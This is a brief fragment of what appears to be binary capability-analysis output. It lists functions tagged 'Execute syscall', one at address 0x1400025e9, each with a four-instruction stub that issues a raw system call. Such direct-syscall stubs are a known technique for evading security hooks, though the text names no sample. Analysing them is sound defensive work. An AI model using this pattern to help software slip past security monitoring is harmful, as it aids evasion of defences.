Execute syscall

Disassembly:
mov r10, rcx
mov eax, r9d
syscall
ret

Function at 0x1400025e9
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, r8d
syscall
ret